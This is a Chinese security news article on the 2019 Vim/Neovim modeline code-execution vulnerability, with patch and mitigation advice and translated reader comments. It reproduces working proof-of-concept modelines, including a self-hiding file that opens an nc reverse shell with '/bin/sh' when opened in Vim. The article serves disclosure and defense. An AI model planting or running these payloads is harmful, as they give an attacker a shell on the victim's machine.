聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
继Notepad 被曝不明0day 漏洞后,Vim/Neovim 也被爆任意代码执行漏洞。Arminius 在GitHub 上公开了该漏洞的 PoC 和详情。他指出,通过打开特别构造的文本文件,就能导致早于 8.1.1365 版本的 Vim和早于0.3.6 版本的 Neovim 易受经由模式行的任意代码执行攻击。
PoC 1

创建poc.txt:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
确保模式行选项未被禁用 (:set modeline)
在 Vim 中打开该文件
$ vim poc.txt
系统将执行 uname –a
PoC 2(反向 shell)

该 PoC 说明的是真实的攻击方式,当用户打开该文件时就会启动一个反向 shell。为了隐藏该攻击,在打开文件时,文件会被立即覆写。另外,当内容以 cat 打印时(cat –v 披露真实内容),该 PoC 使用终端逃逸序列来隐藏模式行。
shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
演示:(左为受害者,右为攻击者)
详情

该模式行特征允许在文件的开头或结尾指定自定义编辑器选项。该特征默认启用并适用于所有文件类型,包括单纯的 .txt。模式行一般如下:
/* vim: set textwidth=80 tabstop=8: */
出于安全原因考虑,模式行中仅允许选项子集,如果该选项的值中包含一个表达式,那么就会在沙箱中执行:
出于安全考虑(有人可能会创建具有模式行的木马文本文件),仅支持‘set’命令。并非能够设置所有的选项。对于某些选项而言,仅设置了一个标志,因此当使用时,沙箱就奏效了。
沙箱的作用是阻止副作用:
'foldexpr’、’formatexpr’、’includeexpr’、’indentexpr’、’statusline’和‘foldtext’选项可能会在沙箱中得以评估。这意味着你不会遭受具有恶意副作用的表达式的影响。这就确保了当这些选项从模式行设置时的安全性。
然而,:source! 命令可用于绕过沙箱。它从既定文件中读取并执行命令,如同当手动输入时,在沙箱被丢掉时运行它们。
: so[urce]!(file) 从{file} 中读取 vim 命令。这些命令以正常模式执行,就像你输入那样。
因此,可以轻松地构建在沙箱外运行代码的模式行:
# vim: set foldexpr=execute('\:source! some_file'):
另外 Neovim需要将 execute() 列为黑名单的步骤:
execute({command} [, {silent}]) *execute()*Execute {command} and capture its output.[...]This function is not available in the |sandbox|.
这里可使用 assert_fails() ,它也有 {cmd} 实参:
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*Run {cmd} and add an error message to |v:errors| if it doesNOT produce an error.
如下模式行使用折叠表达式来运行 source! % 以执行当前文件,而它反过来将 uname –a || “(garbage)”作为 shell 命令进行执行:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
另外,Neovim 独有的函数 nvim_input() 易受同样方式的影响,例如:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
(此前, Vim 曾修复和其它模式行相关的漏洞,CVE-2002-1377 和CVE-20160-1248)
补丁

Vim 补丁 8.1.1365
Neovim 补丁(发布在 v0.3.6中)
除了打补丁外,建议禁用 vimrc 中的模式行 (set nomodeline),使用 securemodelines 插件或禁用 modelineexpr(补丁 8.1.1366后,Vim-only)来禁用模式行中的表达式。
时间轴

2019-05-22:Vim 和 Neovim 维护人员获悉该漏洞信息
2019-05-23:Vim 补丁发布
2019-05-29:Neovim 补丁发布
评论区炸锅

Vim 被曝任意代码执行漏洞后,评论区炸锅了,现在已有99条评论。现摘取如下:
我去!!!不是吧,vim。
在我还未满头华发之时,作为 vim/neovim 数十年的忠实用户,我想说:不要把任何软件当做你的心头之爱,这样当它出现风险尤其是安全风险时,你能够感到沾沾自喜。你对这次漏洞披露感到心碎,说明你之前以为它不会出现任何安全弱点。
我想编辑器战争中的胜出者诞生了。
最让我害怕的地方(虽然我使用 emacs)是,模式行字符串隐藏在受害者的vim 窗口中,因此只有启用了 RCE,他们才会意识到自己遭攻击。我不确定 emacs file-variable 是否也可以相同的方式遭利用(可能它们也可遭利用,但只是我自己并未意识到。)立即有用户贴出了 emacs 中的类似 CVE 漏洞情况:https://www.cvedetails.com/vulnerability-list.php?vendor_id=72&product_id=741&version_id=0&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&cweid=0&order=1&trc=21&sha=001be71c19fab6171046f0b812da8d1378e05f02。
非常有意思的利用,幸亏我禁用了模式行。我们公司总是设置 columns=96,不过我通常都会通过:vsp 打开多个文件,而且我必须手动将 columns 更改为实际终端的值。我想要知道为什么会存在通用模式行执行的历史原因,在文本文件编辑中似乎有点不合适。
我的天,好吧,我又有一个不眠之夜了。我之前一直以为 Vim 和文本文件是安全的。我确实从这类漏洞中找到了无穷无尽的东西,只是因为我感激有人找到了它们。我真的不认为 Vim 是一个攻击向量,而且即使我也这样认为,我也不知道从何开始。
我记得10年前我看到说模式行是不安全的(将任意数据解析为配置选项),而且我一直在 .vimrc 中禁用。很惊讶它们竟然不是默认禁用的(甚至在 neovim 中也并非如此)。我可能读到的是 CVE-2007-2438,另外一个基于模式行的 RCE 攻击。
我一直没搞懂模式行存在的意义。为什么要在编辑的文件中搞一个编辑器特定的配置 inline 呢?幸亏我发现这个不科学的选项后,在配置中‘set nomodeline’了。
模式行几乎只适用于一次性脚本或非重要文件,但其实它非常有用(虽然安全隐患令人担忧)。通常只需要‘set ft=zsh’,就能在没有(或不正确的)文件扩展名的文件上设置文件类型。突出显示哪种语法和其它插件依赖于激活……我认为如果是恶意插入的,它们会在大多数文件底部会显示出来,但我不确定是否有一些例外(针对的是不知 Vim 模式行是何物的目标)。
咦?这不是旧新闻吗?模式行问题(就是这个问题)不是在十多年前就广为人知了吗(时间太久,我都忘记具体啥时候了)。我隐约记得他出现在早期的 gentoo 安全警告(2005年以前),我正是那会意识到了这个问题。怎么现在成新的安全问题了?有人跟帖说:原因很简单。模式行出现的时间点是在这个观念之前,即需要安全地设计处理普通文件的普通用户应用程序。
欢迎在评论区留下你的真知灼见,让更多人看到~
原文链接
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://news.ycombinator.com/item?id=20098691
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。

